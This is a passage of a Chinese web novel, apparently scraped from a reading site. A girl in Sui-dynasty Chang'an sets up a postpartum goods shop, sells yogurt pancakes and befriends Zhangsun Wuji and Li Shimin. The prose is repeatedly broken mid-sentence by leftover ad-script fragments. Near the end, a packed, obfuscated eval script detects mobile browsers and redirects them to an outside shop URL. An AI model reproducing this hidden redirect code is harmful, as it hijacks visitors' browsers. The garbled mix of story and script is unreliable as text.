莫婤轻步上前,跟着她探头探脑,想瞧瞧她到底在看甚。 瞅了好一会,也没看出个所以然来,遂出声问道: “大娘——你到底瞅啥呢?” 冷不丁地出声,这婆子吓得一哆嗦。 回头,见不过是一六七岁女娃 ,挺起腰骂道: “你个死孩子,吓我一跳。” 不做亏心事,不怕鬼敲门。 莫婤愈发觉得她有问题,未急着骂回去,装作天真地继续追问: “大娘,有何古怪?同我说说呗。” “去去去,你个小孩子懂甚。”大娘不耐烦,开始赶人。 于是莫婤大摇大摆作势要敲门,被大娘一把拉住。 “你这泼猴,要干嘛?” “你不同我说,我就敲门问问有什么好玩的。”莫婤一脸稚气地说。 “滚滚滚,快边玩去,里头都是些吃人的妖精,小心一口吞了你。”大娘欲扯谎吓走莫婤。 见真问不出个所以然,莫婤只好走了出去,躲在拐角处。 那婆子也没多留,又趴在门上听了听,便离开了。 待她走后,莫婤方敲门入内,同吴娘子说了此事后,在秋曜坊“监工”。 先是被叶掌柜和樊掌柜拉着,当刁钻的客人,将八个铺娘为难了个遍。 由简单的“价贵了”、“不想试”到难的“不想同人穿一个款”。 众铺娘虽不是每个难题都能完美解决,但俱沉着应对,积极处理,让莫婤很是放心。 夸奖的话还没说完,又被晚娘拉着瞧新花样。 莫婤正欲试着提出两片式,毕医女和秦医女截胡晚娘,推着她赏药童们做的朱雀祛纹膏。 正巧她白日翻医书,查到白蔹有祛斑功效,遂拿出来同两位医女探讨。 最终,她们决定做“七白膏”面膜。 将香白芷,白蔹,白术,白及,细辛,白附子,白茯苓按一定的比例磨成粉,用鸡蛋白调成如弹指大小的小丸,阴干,十粒装成一小盒③。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 用者只需每晚睡前,用温水化开涂面,就有祛斑、美白和紧致肌肤等效果。 若效果好,待春日她们就可顺势推出更多款的面膜,扩展其功能。 莫婤像个香饽饽,在众人手里转来转去。 夜间回屋,累得都忘了同莫母八卦,便沉沉睡去。 又过了几日,小公子满月之期将近,加之元宵佳节在即,诸事烦杂。 高夫人算盘都拨断了几把,时常唤莫婤去口算。 算完一本,方欲歇口气,高夫人忽而提及一事,语气中是深思熟虑后的坚定。 “婤婤,我欲趁着我儿满月宴,一并宣传咱们的产后用品铺。” 话落,四周鸦雀无声,连莫婤都屏住呼吸。 高夫人见众人惊讶不已,遂解释道: “正巧遇上元宵,各府俱忙,待办完满月宴,我再办宴,定多数不会再来,宣传效果将大打折扣。” 这点,莫婤在长安城挂起花灯时,便想到了,但她是断不能开口的。 现见高夫人主动提及,儿子满月宴也不忘事业,这般有魄力,她心中暗自叹服。 只是距离满月宴仅有十余日,她们连铺子都还未找。 高夫人自知此事艰难,当即便派周妈妈去秋曜坊点货、催进度。 又翻出陪嫁地契,甄选出几处闲置已久,或功能冗杂的商铺,让莫婤带上郑妈妈、赵妈妈一道去选,她全权负责。 听罢,莫婤一口应下,也不多磨蹭了,当即换上简便的常服,同两位妈妈出了门。 夫人给出的选址有五处,三处在东市,两处在平康坊内。 她先就近看了平康坊两处,位置都很不错,一处街头,一处巷口。 又让马夫去了东市,因着之前只长孙无忌陪着来过一次,莫婤对东市并不了解。 一路走来,才发现其人流之密集,购买力之强。 在隋朝长安城内,东西两市为主要的商业区。 东市靠近皇城,周围多达官显贵,且人流络绎,有广泛客源与商业活力。 相应的,此地商家林立,竞争压力巨大。 但产后用品铺为刚需,且只此一家,应能在众多店铺中脱颖而出。 反观平康坊,以娱乐休闲见长,虽不乏孕产家庭光顾,但对莫婤这等初见规模、需快速拓展市场的铺子而言,还是少了些客源。 她仔细对比了东市与平康坊,最后定下东市里离平康坊最近的那处铺子。 铺子为前店后舍的格局,前为双层小楼,后藏一幽谧小院,院中正房三间,东西厢房各一。 此处之前是成衣铺,因着竞争太大,入不敷出,前几月便关了,但铺中货架、挂架尚可用。 莫婤列出还需添置的装饰,托于赵妈妈后,又拉着郑妈妈在东市找巧手木匠。 一连忙了七八日,方将前店收拾妥当。 透过雕花窗棂,能隐约瞧见绣着“麒麟送子图”的屏风。 绕过屏风,掀起金丝蝠纹镶玉珠帘,头顶朵朵青莲瓷吊灯,中间还点缀着琉璃鱼吊灯。 烛光一照,青莲下,五彩斑斓的锦鲤游动。 莲与鱼,寓意着“莲”与“余”,象征连年有余,生生不息。 灯下,青石大砖上铺了毛织地毯,松软保暖,上还编着“瓜瓞绵绵”图。 靠墙的沉香木挂架上,一面挂着收腹带,一面挂着胸托。 每件顶上都照着喜鹊青铜灯,两侧悬有帷幔,上绣桃子、葫芦、灵芝、葡萄等,样式不一。 中央旋转展示台,陈列着“朱雀祛纹膏”、“太乙舒腰袋”、“清腰汤”、“七百膏面膜”等。 墙角摆着些香炉,里面是益母草、川穹、白灼等调制的香,幽香怡人。 顺着榫卯转角梯,便进入了二楼试衣区。 25.东施效颦 低头穿过琉璃珠帘,一道道屏风错落摆放。 雅致竹屏、富丽织绣屏、华美金漆屏、高贵玉石屏……隔出一个个可供试衣的小间。 空余处,还配了小几、蒲团,随意散着些香囊、香包。 莫婤甚至用胡床改了几个沙发,缝了精美的靠枕,松软舒适。 角落摆些漆器、瓷器做装饰,八宝阁上还有送子观音的香木雕琢摆件。 她欲待春暖花开时,买些绿植,再插上几盆花,装饰小铺,力求做到移步换景。 后院,赵妈妈从高府拉了些扫房婆,将小院和五间屋子都清了出来。 莫婤已有初步想法,但现紧要是先将铺子开起来,余下的,可慢慢布置。 这边莫婤正规划着各种屋子的用处,那边长孙无忌冒着雪回了府中。 方进门,云纹幞头管事,便踩着鸟皮靴急匆匆回禀: “小姐今晨还未进食,便觉腹中不适。晌午开始闹肚儿,现下痢三次,已着人请了郎中。” “可是昨夜所用之物不净?” 无忌疾行至妹妹院中,见她捧腹半躺于金箔嵌宝画屏榻上,出言询问管事。 “未用甚特别之物,只又买了碗酸奶捞。” 管事顿了顿,继续说, “但因着不是从前那家,不好吃,小姐尝了两口便赏人了。” 无忌闻言,又遣了人去找那受赏的小丫鬟。 小丫鬟无事,同她住一处的婆子却拉得下不来床。 原是这婆子嘴馋,贪了她的去。 弄清原由后,无忌告知了郎中,因着妹妹用得不多,对症下药,很快便好了。 只苦了那婆子,在床上连声呻吟,肚中翻江倒海。 也不知那婆子除了酸奶捞,还偷吃了甚好物,圊厕里堵鼻的枣核,都被她同院的丫鬟婆子用尽了。 待夜市开后,无忌唤上幞头管事,一道去找那卖酸奶捞的商贩。 一路上,竟瞧见不少卖酸奶捞的小摊。 “那小娘子每三日才卖一趟,可让这些效颦的奸商钻了空子。” 幞头管事竟成了莫婤的铁杆粉丝,瞧着一路的模仿者,恨恨道。 “有利可图之物,商人素逐利,毋惊诧。” 无忌专注找人,回答得漫不经心。 管事还是不舒爽,继续道: “但都不好吃,不知骗了我多少银钱!” “那是你喜欢,怂恿小姐尝的?”无忌皱眉瞧过来。 “哪能啊,小姐这般有主见,我是帮她试吃!” 管事见长孙无忌缓了脸色,又吐槽道, “公子你也喜欢吃,哪次买了那小娘子的酸奶捞您没分上一口?” “快找人吧!”无忌听罢,拍了下管事腆着的大肚,学着莫婤装傻。 方行至巷口,便见许多人围着一处摊贩,争吵着。 “你家东西不干净,我娘闹肚子一日了。” “没有莫小娘子家的好吃,还害人。” “对!依样画葫芦,拾人牙慧!” 管事跻身去瞧,果真就是昨日那家酸奶捞,卖的人手黑黑,酪浆却白得发亮。 听闻众人都是来讨公道的,无忌便抱剑倚柱,立于一旁看戏。 戏没看多久,这小贩就被专管摊铺的坊丁带走了。 隋朝时,《隋律》中专设有针对食品安全的条款,售卖腐坏或有害食品的行为会被视为犯罪①。 见小贩会得到应有的惩罚,无忌便招呼管事走了。 只是离去时还在想,方才听到的莫小娘子,不会是他认识的那个莫小娘子吧? 莫婤不知道,在她未出摊的日子,她的食客们,还帮她宣传打假了一波。 回到高府,高夫人又叫了她去商议铺名。 屋中众人,你一言我一语。 高夫人拿了字书《玉篇》②来翻,莫婤亦捧着《说文解字》③看得入迷。 争来争去,吵得莫婤头嗡嗡的,最终还是高夫人在《玉篇》中找了“容”、“焕”二字,给这产后用品铺取名为—— “容焕阁” 翌日,莫婤正量着铺名牌匾的尺寸,铺娘春桃匆匆跑来。 “小东家,不好了,快走!” 说罢,她喊了马车,拉着莫婤往秋曜坊赶。 在马车上,一面催马夫,一面口齿伶俐地对莫婤说了始末。 前些时日,莫婤发现的那婆子,今个又在院外探头探脑,被吴娘子逮了个正着。 绑进屋内,问她什么也不说,吴娘子只好报了官。 待官差到后,那婆子突然掏出一件胸托。 原来这婆子,是故意被吴娘子抓进来,就是欲找她们的“罪证”。 她早就在袖中藏了剪子,趁众人放松警惕,未注意她时,便绞了绳子,偷摸了件胸托。 这时拿出来诬告她们做不正经生意,说她们还勾得家中小童好奇难耐,影响恶劣,要官府抓了她们去,最好能将她们处死。 隋朝时,开设青楼等娱乐场所,明面上是仅能提供歌舞表演、宴请等服务的,若涉及不正经生意,依隋朝法律是严禁的,被抓后惩罚亦相当严厉①。 听到此污蔑,众女子虽气愤,但都沉着冷静应对。 医女药童们展示药材,绣娘们展示绣品。 巧舌如簧的两位掌柜,同培训多日的铺娘一道,领着官差们参观解释,甚至把他们当潜在客户宣传起来。 官差们年纪都不大,见了胸托、收腹带等物,都有些红了脸。 还被众铺娘拉着了解这些产品的好处,明明是正经生意,他们却仿佛进了盘丝洞,都招架不住了。 嘴上连连敷衍听懂了,但实际上都不敢正眼瞧这些物件。 周妈妈还在一旁帮腔:“我们这是正经生意,都还未开张呢,怎么也抓不着她们去。” 见了实物,听了讲解,本就信了一大半的官差们,又闻她们还未开卖,更觉管不着。 听得浑身刺挠,面红耳赤,急匆匆地想要收队走人。 众女子带着遗憾又松口气的心,将官差往门外引,谁知这婆子竟躺地上,大哭大闹起来。 一面哭喊,一面爬过去抓住了官差头头的腿,不让他走。 瞧着快要入土的老妇,官差头头也不敢用蛮力,场面再度僵持下来。 周妈妈见状,忙唤春桃去找莫婤这个小东家,想辙。 莫婤听罢,边往怀中掏,边在心中盘算着法子。 这跟现代碰瓷的人没有两样,不过别人谋财,她竟欲害命。 下马,换莫婤气冲冲地拉着春桃,疾行入内,却并未听见婆子的哭喊声,步履又快了两分。 一进门,就见毕医女和秦医女,正围着那躺地上的婆子。 边上的官差们,都伸长脖子,勾着头瞧。 莫婤定眼望去,打头的官差,竟是她第一次卖酸奶捞时遇上的,那位吃醉的官人。 那官人自吃了雀麦酸奶捞后,每逢她出摊,他必光顾,已从基础款买到了全家福,成了她的回头客。 见莫婤认出了他,他只对她眨眨眼,并未上前寒暄,仍装作不认识。 还是一旁的周妈妈主动为二人介绍:“小东家,这是平康坊的市丞程大人。” 隋朝时,管坊间商铺的是“市令”和“市丞”④。 他们负责整个市场的管理和政策制定,包括商铺在内的所有市场活动都在他们的管辖之下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 市令是市场的最高行政长官,而市丞则是市令的副手,协助市令处理日常事务。 市令一般为六七品官员,市丞多为八品官。 因着长安城官员金贵,平康坊又临近皇城,程大人官至从七品。 “我这等还未开业的小作坊,怎劳烦大人出动?” 莫婤很是不解,此等小事,多由坊丁处理,怎会招来七品官亲自督办。 程大人亦是一脸无奈,一旁的坊丁帮着解释。 今晨,程大人正欲上值,便有一婆子扑过来,也是像这婆子一般,抱住了他大腿,硬要他来抓人。 瞧那婆子一把年纪,哭得老泪纵横,程大人以为真有什么天大的冤情,遂跟着来了。 众女子这才恍然大悟,她们还纳闷,今个官员的脚程怎这般快,报官还不足一刻就到了。 莫婤亦在心中感叹,居然是团伙作案,古代老婆子们也懂打配合。 吴娘子听罢亦反应过来,忙问:“那婆子呢?” 程大人稍显惭愧,身后的坊丁继续补充: “我们一来就被小娘子们引了进来,没再管那婆子,约莫是见势不对溜了。” “呦,她们这就将你甩了啊!” 莫婤这才有空闲蹲到倒地的婆子面前,阴阳怪气她。 “啊——” 这婆子浑身都被扎着针,满脸布满水珠,不知是哭出的泪,还是疼出的汗。 还被扎了哑穴,说不出话,难怪没再嚷。 原是秦医女见市丞大人被这婆子扰得有些厌了,便提出为其施针,能让她平心静气,对身子也益处。 市丞怕她公报私仇,在她施针时,还另请了郎中。 郎中瞧后,自是没问题,只是这些穴位都是对人体有益的穴位中,最痛的一些。 暗自佩服秦娘子医术的同时,也频频望向她,似想看透她温柔面容下,狠婆娘的本质。 秦娘子自是感觉到了,也懒得理,吴娘子上前一步挡住郎中的目光,狠狠瞪了回去。 见这姑娘高出自己一个头,郎中低头默默瞧着闹事婆子。 扎针后,婆子安静下来的同时,手也放开了市丞大人的腿。 他们欲告辞,莫婤又掏出这两日办妥的商户证明,同程大人备案,也算再上一道保险。 程大人接过后本欲随意瞧瞧,却发现是从未听过的产后用品铺子。 原就是莫婤酸奶捞忠实粉丝的程大人,见此更觉新奇,想着府中大嫂刚出了月子,便说托她来给莫婤捧场。 莫婤听后自是高兴,连声感谢:“以后酸奶捞给您多放小料。” 闻及,程大人忽将莫婤拉到一旁,说起昨日他处理的酸奶捞中毒事件。 此事之后,市令要求他们对酸奶捞严格把控,效仿者应会减少,但夜市中百姓亦可能会畏惧酸奶捞,望莫小娘子早想对策。 谢过程大人告知此等内幕后,莫婤将此事挂在心上,送他们出了秋曜坊。 还未来得及琢磨此事,便看到躺在屋子中央的婆子。 心下厌烦的同时,又生一计。 她唤了药童,拿了担架,将这婆子抬到巷口,敲锣打鼓唤着街坊邻里。 见有热闹瞧,众人纷纷出了门。 简单讲了这婆子的恶行,莫婤着重宣传了一把她们即将开业的铺子,还发了宣传册子。 这册子是这几日她抓紧时间做的,想着不是每人都识字,还配了画。 一一列举了店中精品,店铺位置,以及开业时间。 众人见这册子,精美得像话本,都接了细细地看,不舍得扔。 见大伙都看入了迷,她方因这婆子无故闹事而生的气,才顺了些。 26.奶油松饼 回高府的路上,莫婤一直在想程大人方才提及的事。 不知不觉间,竟晃到了郑胖子家的羊奶铺子前。 郑胖子见她来了,很是热情,忙让阳哥儿带她去后院挑羊奶。 念及无论是否有法子,她明日也该出摊了,遂同阳哥儿去了。 院中羊奶品种众多,阳哥儿介绍着,这缸是附近农户处收的山羊奶,那缸是牧场买的绵羊奶,还有好几缸都是从契丹游牧民那买的。 说到此,阳哥儿有些闷闷道:“契丹游牧民用奶换粮,要价很低,我们便多买了些。” “那不是很好,为何这般垮脸?”莫婤听罢,不解地问道。 “哼,害我们亏大了!”阳哥儿愤愤地说,道出了来龙去脉。 大业元年,隋将韦云起率领隋军,联合突厥兵,对契丹发起攻击。 有契丹游牧民见开始打仗了,恐无粮过冬,遂将手中羊奶尽数贱卖。 郑胖子贪心,想着长安城中羊奶价高,又有莫婤等固定老客,便一口气都买了。 刚交货那晚,他兴奋得做梦都是靠着这些羊奶发家致富,走上人生巅峰。 谁知,第二日便传来韦云起彻底挫败契丹的消息。 韦云起英勇奋战,深入契丹腹地,采迂回战术,直捣黄龙,成功袭击契丹营地,斩首数千级,俘虏男女四万余口,牛羊数十万头①。 本是个振奋人心的消息,郑胖子正崇拜着这位大将军,就传来羊奶暴跌的消息。 随着大军班师回朝,带回来羊奶无数;再加上契丹经历战败,元气大伤,契丹游牧民纷纷用牛羊、羊奶等物换粮。 长安城的羊奶价一跌再跌,现今连酪浆都卖不起价了。 听到此,莫婤才恍然大悟。 隋朝掌握酪浆技术的自是少数,但近来却涌现许多效仿卖酸奶捞的,连卖价也一并学了去。 她还在奇怪,酪浆技术普及了?他们没亏本? 只是近来事多,无暇深思,加之她一直在郑胖子家买羊奶,竟不知现今羊奶市价几何。 思及此,她转身便欲离去,既然郑胖子这般心不诚,以后也不必再同他做生意。 见此,一早便躲在门后偷听的郑胖子忙出来道歉。 他见莫婤这般小,以为她听不出此中深意,让阳哥儿装惨博同情,好哄她将羊奶都买了去。 没成想她当即就反应过来,只能现身安抚道: “莫小娘子,现今这些羊奶我都再便宜些卖你,也算补上了之前的差价。” 说罢,指着墙角的一排羊奶道。 莫婤闻言,想着亏不能白吃,便走上前去,掀盖查看,却发现这些羊奶都有些发酵了。 “都快发酸了,你还想糊弄我?”她扭头质问郑胖子。 “您卖的本就是酸奶啊,而且酪浆要价更贵!”郑胖子苦口婆心道。 “但你不卖我,只能栽在手上吧?”莫婤笃定地说。 郑胖子只卖羊奶,可不会做酪浆,他若想回本只能坑她这个冤大头。 见哄骗不了她,郑胖子只能捏着鼻子认了。 将这些发酸的羊奶,按现今的市价,再减了三层,卖给她。 同时,还又搭上一桶新鲜羊奶,她方作罢。 只这样,这么多羊奶,也花了她三吊钱,将之前卖酸奶捞赚的钱,都搭了进去。 她一面反思自己此次为何被骗,一面让阳哥推着木牛流马送到了小院中。 这些瓦缸,足足占了半个院子。 她看着这般多的酸奶,在脑海中搜索还能用酸奶做什么,让她有赚头。 忽而想到了酥油和奶油。 酥油可以代替黄油做很多小蛋糕,再配上奶油,亦是绝味。 说干就干,她在院中熏了火,将这些本就有些发酸的羊奶,继续发酵。 让莫母帮忙看火,她又去大厨房借了个大擂钵。 还用新奇美食,诱惑来一把气力的祝大娘。 将发酵好的部分羊奶放于擂钵中,莫婤和祝大娘轮流搅拌,很是费劲。 莫母见状亦加入了进来,三人至亥时方得了一大罐奶油。 感谢了祝大娘,承诺做成后定分她些。 送走她后,莫婤又拿了个小擂钵,放了些奶油继续搅,直至乳脂与乳清完全分离。 用粗纱布过滤乳清,莫婤又从结冰的水缸中,凿了些冰,同清水一道,洗了两次乳脂后,就得了一块酥油。 用桑皮纸包起后,放入院中的空瓦罐内,待明日冻硬,更好保存。 翌日,莫婤先试着做了些奶油松饼,提着去了高夫人院中。 将祝大娘那份偷偷塞给她后,莫婤进了夫人房中。 一进屋,便觉静得奇怪,穿过多宝格附仙罩,见一丫鬟正跪在地上求饶。 莫婤拉了近处的袖莲,欲同她八卦。 袖莲给了她一个意味深长的眼神,她更觉莫名,定睛瞧去。 这不是夫人临产那日,在大厨房推她的大丫鬟吗! 好家伙,吃瓜竟吃到了自己身上。 “真是她要害夫人?”莫婤有些不信,大户人家的手段这般浅显? “还有人没押来呢。”袖莲轻声说道。 话音刚落,张妈妈便扯着一丫鬟进来了,身后还跟着垂泪不止的刘姨娘。 这丫鬟是刘姨娘的贴身侍女,花容。 花容被按着跪在地上,刘姨娘亦跪在地上啜泣不止,活将自己哭岔了气也不停。 高夫人也不劝,任她唱独角戏。 刘姨娘眼泪都快流尽了,高大人才终于现身,后面还跟着打哈欠的张姨娘。 “大人,我真的不知,我冤枉啊。” 刘姨娘见看戏的终于来了,忙扑过去,依在高大人脚边,嘤嘤地哭。 “你先别闹,夫人自会给你公道。” 高大人绕开她,坐到了高夫人身旁。 身后的张姨娘白了她一眼,亦走到高夫人下手,自觉坐下,口中还吩咐着:“香雪,还不过来伺候着。” 说罢,那跪着的丫鬟连声称是,便要起身。 “我让你起了吗?”高夫人淡淡一句,香雪又嘭地跪下去,匍匐着。 “夫人何必这般苛责,不就推了个小丫头。”张姨娘不以为然地说,还瞥了莫婤一眼。 高夫人未理她,对着秋塘道:“人到齐了,说罢。” 原是当日张姨娘生产,不想出钱请好稳婆,即将临盆才求了夫人。 时间这般紧,夫人便将预备给自己的稳婆,给了一个出去。 谁知张姨娘遇上难产,情况危急,高夫人只好又将自己的稳婆都给了出去。 哪成想,顺利生产后,张姨娘却以这几人技艺不精为由头,将她们都打发了。 高夫人虽不信,但亦怕她们真没办事,让她难产,遂没有追究,转而找新的稳婆。 直至莫氏母女提出稳婆有问题,才又派了秋塘、杏雏调查,却发现有一稳婆竟在西城最为富贵的延寿坊买了两进大宅。 过去这般久,也没能找到更多证据,她们便只好找人做局恐吓她。 威逼利诱下,她终于说出,是刘姨娘身边的大丫鬟花容要她这般做的。 “说罢,你为何这般做。”待秋塘讲完后,高夫人方出声怒斥花容 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 花容未答,只是口中一直重复道:“我自己做的,跟刘姨娘没关系。” 这不是此地无银三百两? 莫婤正感叹着,不着痕迹的瞧了一圈,众人或皱眉,或凝神。 但听了这丫鬟的呢喃,竟都点头,信了她的话。 莫婤一面在心中大呼荒谬,一面同袖莲耳语:“莲姐姐,为何你们都信?” “你忘了之前庞妈妈选人的事了?刘姨娘可使唤不动她们。”袖莲见莫婤不懂,提醒道。 刘姨娘原是一穷秀才之女,人生得温婉柔弱,敏感温吞,高府中总是传出她被下面丫鬟欺瞒的流言,她压不住手底下的人,已成为大家共识。 大家都知她院中丫鬟主意最大,高大人亦觉是她是无辜,高夫人心中压着怒火,使命安慰自己她还有用,遂只欲将认罪的花容送官。 但会咬人的狗不叫,高夫人已对其暗中防备。 一旁跪着的香雪忍不住了,亦连声求饶,说那日就是花容挑拨了她,引她去大厨房,也是她指了莫婤给她,说莫婤偷吃。 她只是为了挣表现、显气势,才推了莫婤。 花容白着脸,坐在地上不吭声,香雪扑过去攀扯她:“你说话啊,你个害人精,说啊!” 高夫人见状也懒得再同她们废话,喊了张妈妈,赐了香雪十板子,就要将她赶出府。 明知前面是热炉,还这般歹毒,高夫人是不敢留她了。 说罢,还看向一旁蠢蠢欲动,欲求情的张姨娘道:“你再罚两月的月钱。” 张姨娘腾得站起来,怒急攻心,晕了过去。 高夫人唤来莫母,一摸,张姨娘竟又怀孕了。 莫婤瞠目结舌,张姨娘才生完孩子不过两月余,就又怀孕了? 见醒来后的张姨娘洋洋得意,莫婤看着不爽的同时,又有些五味杂陈,很想指着她脑门骂: 高兴什么,才生又怀,你的苦日子在后头! 但想到她亦是连思想都受这个时代桎梏的女性,心头又闷闷的。 同莫母回屋的路上,她还是没忍住,轻声问: “阿娘,你们稳婆界对隔多久才能再生,有统一的说法吗?” “至少一年。②”莫母一口答出,转而又说道,“不过怀上也没办法,只能生。” 莫婤不再言语,望向被四方宅院框起的苍穹。 她知道古代没有很好的避孕措施,她亦明白古代女子命运多为生育所缚,身不由己。 这里男尊女卑、无知横行,产后之痛,月复月,年复年,似无止歇。 深感窒息的同时,她暗自筹谋——今后要在她的产后用品铺,潜移默化宣教于众,以绵薄之力,启民智。 同时,她还要加紧与医女们研制避孕法,化为可行之道,以减妇人之苦,少家庭之悲,促社会之进步。 远大的抱负要有,但现在还是脚踏实地些罢。 又做了些奶油松饼献给高夫人,让她品甜食,压压惊,顺便也是报备了。 随后,她又拉着莫母去季大婶处买了篓鸡子,回屋继续做松饼糊糊。 寻了一只宽口大瓷盆,将新鲜的羊奶缓缓倾倒,再筛入精细白面,混匀后,加入少许盐粒和蔗糖粉。 灶台边,炭火正旺,小心切下一刀酥油,放入铜锅中,待酥油融化后,起锅倒入瓷盆。 再于盆中打入数枚鸡子,搅和均匀,便得了一钵松饼糊糊。 待莫婤傍晚下学后,又找赵妈妈借了木牛流马,将火炉子、铁盘、松饼糊糊和其他酸奶捞的用物搬入牛肚。 是夜,花灯朵朵,星河滚涌,她们夜市出摊去了。 27.幕前揽客 夜市中,人群川流不息。 莫家母女铺开了酸奶捞小摊。 莫母现已熟练,一人就能忙活开来,她便有时间烙松饼。 点燃火炉子,将铁板置于其上,用桑皮纸擦一层薄薄的油。 待铁板冒起淡淡白烟,舀一勺松饼糊糊倒入铁板,糊糊神奇地自然流圆。 一旁路过的孩童见着,就走不动道了,拉停大人,津津有味地看着,时不时还发出惊呼。 袅袅炊烟,混着奶香,钻入过路人的鼻,亦勾得他们停下了脚步。 当松饼糊糊一面开始冒小泡泡时,便翻面。翻面后的圆糊,像吹了气,竟慢慢鼓了起来。 待煎至两面金黄后,一块软软糯糯还带着奶香的松饼就成了。 “莫小娘子,又做什么好吃的。” 她的回头客们见又有新鲜玩意,都捧场买了一份。 冬日里,新鲜出炉的松饼,涂上奶油,一口下去,香掉了牙,松软还暖和。 这般单吃就很美味了,莫婤还教众人在两片松饼间,夹上他们选好的酸奶捞,又在封口处给他们填了奶油,就做成了酸奶捞奶油松饼。 回头客们,原只是粉丝般支持莫婤,吃了后却立即又买了第二份、第三份…… 亦有人质疑吃了会不会闹肚儿,一旁的回头客们忙向其科普。 “酸奶捞可是莫小娘子最先做的!” “莫小娘子家才是正宗的,断不会闹肚儿!” “别家都是仿的,没莫小娘子家好吃!” 人都从众,虽然奶油松饼夹上酸奶捞,一个就要二十文,但见大家都说味道妙不可言,还是咬咬牙买了个试试,这一试就越发不可收拾。 见她盆中的松饼糊糊越来越少,食客们纷纷争抢,差点撕巴起来。 幞头管事今个亦来抢购,不过他体积大,不够灵活,被人推来挤去。 胖乎乎地身子像个圆球,一不留神就被挤出了外围,气得他快马加鞭回府找帮手。 薅了个大力瘦子,欲一雪前耻。 谁知,马还未至,远远便望见莫婤收摊了,周围皆是一脸遗憾之人。 抢到的新客,第二日见真未出现腹痛闹肚,皆欲再买,却两日见不着人。 一打听,得知莫小娘子竟三日方摆摊一次,都捶胸顿足,吃过莫小娘子家的酸奶捞奶油松饼,竟成了风尚。 她本是因事多忙不过来,遂定成三日,竟无意中搞成了饥饿营销。 第三日再摆摊时,排队的人从巷口连到了巷尾。 这次幞头管事早早便派人来排队,还报复性地买了三份。 她已多加了两倍的量,还是不够,排在后头的人不服气,非要让她记下,一不小心竟搞成了预售。 未免以后也不够,难道下次出摊,还得开启限购?她竟能轻微体会到产品太火的烦恼了。 这原本即将关上的酸奶捞市场,终究还是被她打开了。 回家后,同莫母盘腿坐于罗汉床上数铜钿。除去那日买酸羊奶的钱,还另赚了半吊。 不过,待这批廉价酸羊奶用完了,她可赚不着这么多了,还得另想法子。 但现在她已无心想这头,小公子的满月宴到了。 …… 高府中的古木上,挂满了挑红,中间有花灯闪烁。 四处皆打扫得一尘不染,插了腊梅,层层叠叠;摆了四季海棠,娇艳富贵。 一张张朱红漆木圆桌摆放地错落有致,桌面覆以祥云淡金织锦,桌上整齐摆着白瓷碗和象牙筷。 玉盘珍羞被侍女们端上来,羊羔乳蒸、猪脯酱香、香糟鹅肝、翡翠碧螺、银丝鲤脍……令人垂涎欲滴 莫婤穿着火斗熨得一丝不苟的吉服,跟在高夫人身侧,帮忙招呼参加满月宴的小童们。 高府最大的小主子,还没断奶。 高大人还有一胞妹,嫁在长安城,生有一子一女,只是妹夫近来身子不适,妹一家恐不能前来。 于是,高夫人就将莫婤这个幕后小东家,提到了幕前揽客。 不知众夫人女娃心中如何想,面上都要给高夫人这个主人家面子,端得客客气气的。 “舅母!婤婤?!” 她们正揽客,闻及一少年呼喊,转过头去,竟是长孙无忌。 莫婤听着他叫高夫人舅母,又恍惚了一下。 王娘子和无忌从未问过她主家,只是单纯的师父和同门情谊,一度让莫婤很是暖心。 现今她揪出脑中对隋末唐初为数不多的记忆,又念及主家姓高,才惊觉—— 她主家竟是长孙无忌舅家,也是将来大唐皇后的舅家! 见高夫人亦有不解,无忌解释道:“我们同门。” 因着长孙晟一直想他走武学路子,他赢得王通赏识,成功拜师后,也不想去戳他阿耶的肺管子。 原本仅有母亲、妹妹知晓,现今在高夫人处暴露了。 “舅母可要帮我保密。”长孙无忌难得有些孩子稚气。 “自然,就算被你舅父知道,他定亦是支持你的。”高夫人自是维护外甥。 见长孙无忌同莫婤认识,高夫人便将她交给无忌,让他带着她招待小客人们。 这边二人被小娃娃团团围住,焦头烂额,那边高夫人又牵着一个小大人过来。 小大人与莫婤同岁,戴着顶小小的金边幞头,眉宇间,英气初现,浓眉下慧眸闪烁,一本正经地自我介绍: “问君安,吾乃李渊之子,行二,世民是也。” 听完,莫婤握着无忌的手,不自觉抓紧了。 无忌瞧她一眼,见她直勾勾盯着李家二公子,以为她颜控又犯了。 轻轻撇过她的头,耳语道:“婤婤见这小公子好看,想同他做朋友?” 谁不想同千古一帝做朋友??? 是我想就可以的吗??? 不,主动才有故事! 莫婤在心中为自己打气,拉着无忌走上前去,亦同李世民大大方方介绍道: “我是高府食客莫家顺娘的闺女,莫婤。这是长孙晟家的公子,长孙无忌。” 说完,双手合拢至胸前,向其行了个淑女敛衽礼,长孙无忌亦向其行揖让礼。 李世民见此,亦回了个揖让礼。 三人起身,见互相都是一幅小大人模样,终是没忍住,相视而笑。 或因他们是这里第一个对李二释放善意的人,或因李二同无忌天生就该成为至交,或因莫婤贡献出了三块酸奶捞奶油松饼。 那日,他们送走其他萝卜丁后,一同坐在高府湖边的茵茵绿地上,品味着奶油的香甜、松饼的酥软、酸奶捞的爽口。 许多年后,他们都还记得那一日午后,阳光正好,糕点很甜,彼此的笑温暖又明媚。 莫婤在为交到合意的好友而欢愉时,高夫人将女眷们聚在东跨越话家常。 “你怎恢复得这般好。” 一位贵妇见高夫人束腰轻环,虽宽松而腰身曼妙,曲线玲珑。 非节食之虚态,亦非如己,诞子近载,腰腹犹显圆润。 隋朝时,世风未以瘦为美,亦不以胖为荣,唯比例之谐,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972975|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世人所重。 园中诸女闻此,皆凝神倾听。她们亦有产后之忧,每为恢复之苦,费尽心思。 “这算甚?我腹上一点纹都无。” 